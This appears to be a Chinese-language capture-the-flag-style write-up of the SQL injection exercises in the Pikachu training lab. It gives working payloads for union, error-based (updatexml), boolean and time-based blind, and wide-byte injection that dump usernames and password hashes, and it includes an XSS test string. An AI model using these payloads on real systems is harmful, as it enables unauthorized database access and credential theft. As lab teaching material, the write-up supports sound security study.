SQLi
哦,SQL注入漏洞,可怕的漏洞。
文章目录
- SQLi
- 数字型注入(post)
- 字符型注入(get)
- 搜索型注入
- xx型注入
- "insert/update"注入
- insert注入
- update注入
- 源码以及执行的SQL语句
- insert注入
- update注入
- delete注入
- "http header" 注入
- 盲注(base on boolian)
- 盲注(base on time)
- 宽字节注入
数字型注入(post)
提示是数字型注入,post方式传参,那么不需要用引号闭合,直接注入就可以了,在burp抓包发送到repeater模块进行SQL注入
修改POST数据,首先进行逻辑判断:
id=1 and 1=1#&submit=%E6%9F%A5%E8%AF%A2
返回正常,然后获取字段个数:
id=1 order by 2#&submit=%E6%9F%A5%E8%AF%A2
可以看到有两个查询的字段,然后查看回显位:
id=-1 union select 1,2#&submit=%E6%9F%A5%E8%AF%A2
1和2均成功回显,有两个回显位,然后查看一些目标数据库的信息
id=-1 union select database(),version()#&submit=%E6%9F%A5%E8%AF%A2
查看pikachu库里的表
id=-1 union select 1,table_name from information_schema.tables where table_schema='pikachu'#&submit=%E6%9F%A5%E8%AF%A2
查看pikachu库的users表的字段
id=-1 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'#&submit=%E6%9F%A5%E8%AF%A2
查看pikachu库的users表的字段id、username和password值
id=-1 union select concat(id,'~',username),concat(password) from pikachu.users#&submit=%E6%9F%A5%E8%AF%A2
md5解一下密,至此sql注入成功
字符型注入(get)
关键查询语句:
$query="select id,email from member where username='$name'";
sql注入闭合字符串之后query变量是这样的:
select id,email from member where username='kobe' and 1=1#'
这样就可以闭合语句进行注入了,以下为payload
kobe' and 1=1#
kobe' order by 2#
1' union select 1,2#
1' union select database(),version()#
1' union select 1,table_name from information_schema.tables where table_schema='pikachu'#
1' union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'#
1' union select concat(id,'~',username),concat(password) from pikachu.users#
搜索型注入
根据提示看应该是模糊查询,用%'闭合语句即可注入
这是关键查询语句:
$query="select username,id,email from member where username like '%$name%'";
以下为payload
ko%' and 1=1#
ko%' order by 3#
1%'union select 1,2,3#
1%'union select version(),database(),user()#
1%'union select 1,2,table_name from information_schema.tables where table_schema='pikachu'#
1%'union select 1,2,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#
1%'union select email,username,pw from pikachu.member#
另外一提,查看源码发现提示有一个xss漏洞
payload:
-1%' UNION SELECT '<script>alert(1)</script>',2,3#
效果:
xx型注入
这道题比较特殊,sql注入做到现在已经知道,闭合sql语句很重要。
本题的提示就是“管tmd的什么型,能够制造出闭合,就是本事”
有的教程在一步一步进行闭合,而我用的方法是模糊测试fuzzing
首先抓一个搜索的数据包,然后发送到intruder,将kobe后面设置为payload
然后加载fuzzing字典,下载链接在这:SQL注入Fuzzing字典
然后开始attack,可以看到正常回显的数据包长度为34031
那寻找包长度为34031的,它的payload就是成功闭合的
这个payload没加注释符,经过我自己测试得到了新的payload:
kobe') and 1=1#
查看源码,原来是字符串外面加了个括号,所以需要用引号和括号闭合
$query="select id,email from member where username=('$name')";
闭合已经完成,现在可以sql注入了
1') union select username,pw from pikachu.member#
"insert/update"注入
updatexml(目标xml文档,xml路径,替换查找到的数据)
concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象。
这段话来自:remon535
xml路径如果不是XPath格式,则会报错,显示出非法格式内容,这里面可以执行sql语句。
updatexml(1,concat(0x7e,payload,0x7e),1)
在payload区输入sql语句就可以了
最终的目的是使其报错,至于拼接的值多随便,并不局限于0x7e。
insert注入
来看一下具体的操作。
点击注册,抓取注册包。
发送到repeater,写入payload
and UpdateXML(1,concat(0x7e,database(),0x7e),1))#
语句执行成功,以后在database()位置写sql语句就可以了
username=1' and UpdateXML(1,concat('~',(select concat(username,'@',pw) from pikachu.member limit 2,1),'~'),1))#&password=2&sex=&phonenum=&email=&add=&submit=submit
其中limit 2,1
2表示的是从搜索到的第三个数据开始,1表示的是显示一个数据
结果如下:
update注入
做法和insert注入一样。在修改个人信息那注入即可。
源码以及执行的SQL语句
insert注入
关键源码:
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
正常的sql语句:
insert into member(username,pw,sex,phonenum,email,address) values('test123','cc03e747a6afbbcbf8be7668acfebee5','','','{$getdata['email']}','')
报错注入之后的sql语句:
insert into member(username,pw,sex,phonenum,email,address)
values('test123'and UpdateXML(1,concat(0x7e,database(),0x7e),1))#,'cc03e747a6afbbcbf8be7668acfebee5','','','{$getdata['email']}','')
update注入
关键源码:
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
正常的sql语句:
update member set sex='1',phonenum='2',address='3',email='4'
where username='{$_SESSION['sqli']['username']}'
报错注入之后的sql语句:
update member set sex='1' and updatexml(1,concat(0x7e,database(),0x7e),11)
and '',phonenum='2',address='3',email='4'
where username='{$_SESSION['sqli']['username']}'
delete注入
delete注入,顾名思义即是在delete语句进行注入,闭合语句即可以注入:
关键代码:
$query="delete from message where id={$_GET['id']}";
payload:
http://192.168.171.30/pikachu/vul/sqli/sqli_del.php?id=1+and+updatexml(1,concat('~',(select+database()),'~'),1)
http://192.168.171.30/pikachu/vul/sqli/sqli_del.php?id=1+and+updatexml(1,concat('~',(select+concat(username,'%23',password)+from+pikachu.users+limit+1,1),'~'),1)
“http header” 注入
登录,查看页面提示,可以判断自己的访问信息存到了数据库里。
猜测是通过http头信息判断访问的信息的,修改值试一下:
应该是insert报错注入,按照之前的方法注入就行了
payload:
1'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '
1' and UpdateXML(1,concat('~',(select concat(username,'@',pw) from pikachu.member limit 2,1),'~'),1) and '
结果:
正常执行的SQL语句
insert httpinfo(
userid,ipaddress,useragent,httpaccept,remoteport
)
values(
'0','00','1','000','0000'
);
SQL注入之后的SQL语句:
insert httpinfo(
userid,ipaddress,useragent,httpaccept,remoteport
)
values(
'0','00','1'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '','000','0000'
);
盲注(base on boolian)
布尔盲注,输入不存在的值之后只会显示不存在,联合查询SQL注入不会回显。
只能通过逻辑判断来SQL注入。
以下为payload:
kobe' and 1=1#
kobe' and length(database())=7#
库名长度7
kobe' and ascii(substr(database(),1,1))=112#
kobe' and ascii(substr(database(),2,1))=105#
kobe' and ascii(substr(database(),3,1))=107#
kobe' and ascii(substr(database(),4,1))=97#
kobe' and ascii(substr(database(),5,1))=99#
kobe' and ascii(substr(database(),6,1))=104#
kobe' and ascii(substr(database(),7,1))=117#
库名pikachu
------------------------------------------------------
kobe' and (select count(table_name) from information_schema.tables where table_schema='pikachu')=5#
表个数5个
kobe' and length((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1))=6#
第二个表长度6
------------------------------------------------------
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),1,1)))=109 #
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),2,1)))=109 #
以此类推,表名member
------------------------------------------------------
kobe' and (select count(column_name) from information_schema.columns where table_schema='pikachu' and table_name='member')=7 #
表有7个字段
kobe' and (select count(*) from information_schema.columns where table_schema='pikachu' and table_name='member' and column_name='username')=1 #
kobe' and (select count(*) from information_schema.columns where table_schema='pikachu' and table_name='member' and column_name='pw')=1 #
表中有username和pw字段
------------------------------------------------------
kobe' and (select count(*) from member where username='kobe' and pw='e10adc3949ba59abbe56e057f20f883e')=1#
存在username为kobe并且password为e10adc3949ba59abbe56e057f20f883e(123456)的数据
盲注(base on time)
时间盲注和布尔盲注相似,只不过是通过响应时间来进行逻辑判断。
以下为payload:
kobe' and sleep(5)#
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
if(expr1,expr2,expr3)#
如果expr1为True,则if()返回值为expr2,否则返回值为expr3。
宽字节注入
重要字符的url编码:
' %27
\ %5c
\' %5c%27
%df\' %df%5c%27
关键代码:
function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data); //转义特殊字符
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val); //递归转义
}
}
return $data;
查看源码发现输入的数据被escape函数转义了,这个函数主要起作用的就是mysqli_real_escape_string函数
mysqli_real_escape_string($link
, $escapestr
);
参数 | 描述 |
$link | 必需。规定要使用的 MySQL 连接。 |
$escapestr | 必需。要转义的字符串。会被转义的字符包括 \n、\r、\、'、" 等。 |
转义后的字符前面会加一个
\
,它的url编码是%5c。对输入字符转移之后单引号就不能成功闭合,
输入
name=kobe'
会转译成name=kobe\'
,这样子无法闭合字符串进行注入。
但是在MySQL中使用GBK编码时,会认为两个字符是繁体中文,这样子用%df就可以闭合字符串了
输入name=kobe%df'
转义成:name=kobe%df%5c'
因为是GBK编码,会认为%df%5c是一个汉字,然后 \
对单引号 '
的转义失去效果,成功闭合字符串
payload:
kobe%df' union select username,password from users#
效果: